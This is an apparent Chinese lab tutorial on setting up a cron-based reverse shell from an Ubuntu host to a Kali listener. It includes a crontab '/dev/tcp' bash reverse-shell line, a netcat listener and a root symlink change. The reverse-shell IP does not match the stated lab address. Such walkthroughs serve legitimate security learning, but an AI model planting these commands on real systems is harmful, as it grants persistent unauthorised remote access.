一、实验环境
Ubuntu:IP地址:192.168.223.156
Kali : IP地址:192.168.223.152
二、编写crontab计划任务
在Ubuntu的系统中使用crontab -e命令编写计划任务,如下所示:
![](https://img-blog.csdnimg.cn/direct/85dbc181a66a40a5ae8c3f101ed7fe4c.png)
作用:是将一个交互式的bash shell的输出和错误发送到kali的8888端口,并将输入也从该端口读取。
三、在kali中监听8888端口
nc -lp 8888
-l:代表开启监听
-p:代表指定端口号
![](https://img-blog.csdnimg.cn/direct/13b697d0d238435b8dc372998c76d6eb.png)
结果发现,等了两三分钟,一点反应都没有,没收到返回的shell;
因此不得不在Ubuntu中查看它的日志,使用
tail -f /var/log/syslog查看
![](https://img-blog.csdnimg.cn/direct/b10a8c440c1c49a4b67869339c7c479e.png)
如图所示,出现了No MTA installed ,discarding output
该信息提示没有安装邮件服务MTA(因特网邮件传送代理;Mail Transfer Agent),因为cron的错误信息是通过邮件发送的,所以这应该不是报的错误,为了能够查看到到错误,可以采取以下措施:
使用crontab -e再次修改计划任务,使得错误信息能够输入到一个文件中,方便我们查看
bash
* * * * * bash -i '>& /dev/tcp/192.168.0.127/8888 0>&1'>/tmp/error.txt 2>&1
![](https://img-blog.csdnimg.cn/direct/ccdecdce108345d1adfdcfd8c984469a.png)
![](https://img-blog.csdnimg.cn/direct/0c55a46d366b4792888fd5210582ac2c.png)
可以看到,不存在/bin/bash这个文件,或者说是没被找到,也就是说linux中cron的命令执行的shell环境是/bin/sh。查看后发现,sh是指向dash的软连接,由于dash的shell是没有交互能力的,所以要将sh的软链接修改为bash,注意要在root权限下进行修改!!!
bash
ln - s -f bash /bin/sh
![](https://img-blog.csdnimg.cn/direct/3547310b9c7e41b08533dfc988e430de.png)
![](https://img-blog.csdnimg.cn/direct/109d342934da4f8280df30bf75e19faa.png)
再次修改crontab计划
![](https://img-blog.csdnimg.cn/direct/c1f0249652a944a08b057028ee012697.png)
四、在kali上监听8888端口
![](https://img-blog.csdnimg.cn/direct/4f367a1ba3b7465584cf124ae10d1f58.png)
![](https://img-blog.csdnimg.cn/direct/e30176787c714d959af29c2853ff1c16.png)
可见远程成功,成功反弹shell!
总结:1.在编写crontab计划任务的时候要在root权限下进行编写
2.要将sh的软连接文件指向有交互性的bash上